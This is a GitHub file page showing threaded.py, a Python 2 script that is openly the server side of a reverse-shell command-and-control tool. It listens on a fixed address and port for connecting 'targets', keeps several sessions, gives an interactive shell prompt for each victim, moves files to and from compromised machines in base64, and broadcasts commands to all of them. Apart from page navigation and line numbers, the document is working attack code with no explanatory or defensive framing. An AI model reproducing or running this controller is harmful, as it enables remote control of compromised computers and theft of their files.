-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy paththreaded.py
More file actions
122 lines (106 loc) · 2.92 KB
/
threaded.py
File metadata and controls
122 lines (106 loc) · 2.92 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#!/usr/bin/python
import socket
import json
import os
import base64
import threading
def send_all(target,data):
json_data = json.dumps(data)
target.send(json_data)
def shell(target,ip):
def reliable_send(data):
json_data = json.dumps(data)
target.send(json_data)
def reliable_recv():
data=""
while True:
try:
data = data + target.recv(1024)
return json.loads(data)
except ValueError:
continue
while True:
command = raw_input("Shell#~%s"%str(ip))
reliable_send(command)
if command =='q':
break
elif command =="exit":
target.close()
targets.remove(target)
ips.remove(ip)
break
elif command[:2] =='cd'and len(command)>1:
continue
elif command[:8] == "download":
with open(command[9:]+"_copy","wb") as file:
file_data = reliable_recv()
file.write(base64.b64decode(file_data))
elif command[:6] == "upload":
try:
with open(command[:7],"rb") as fin:
reliable_send(base64.b64encode(fin.read()))
except:
failed = "failed to upload"
reliable_send(base64.b64encode(failed))
else :
message = reliable_recv()
print(message)
def server():
global clients
while True:
if stop_threads:
break
s.settimeout(1)
try:
target,ip = s.accept()
targets.append(target)
ips.append(ip)
print(str(targets[clients]) + "..."+str(ips[clients])+"has connected")
clients +=1
except:
pass
global s
ips =[]
targets =[]
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind(("192.168.43.47",54321))
s.listen(5)
clients = 0
stop_threads = False
print("[+] waiting for target to connect")
t1 = threading.Thread(target = server)
t1.start()
while True:
command = raw_input("Center: ")
if command == "targets":
count =0
for ip in ips:
print("session" + str(count) + "<--->"+str(ip))
count +=1
elif command[:7] == "session":
try:
num = int(command[8:])
tarnum = targets[num]
tarip = ips[num]
shell(tarnum,tarip)
except:
print("[+]No session with that IP")
elif command =="exit":
for target in targets:
target.close()
s.close()
stop_threads = True
t1.join()
break
elif command[:7] == "sendall":
length_of_targets = len(targets)
i =0
try:
while i<length_of_targets:
tarnumber = targets[i]
print(tarnumber)
send_all(tarnumber,command)
i +=1
except:
print("cant send to all")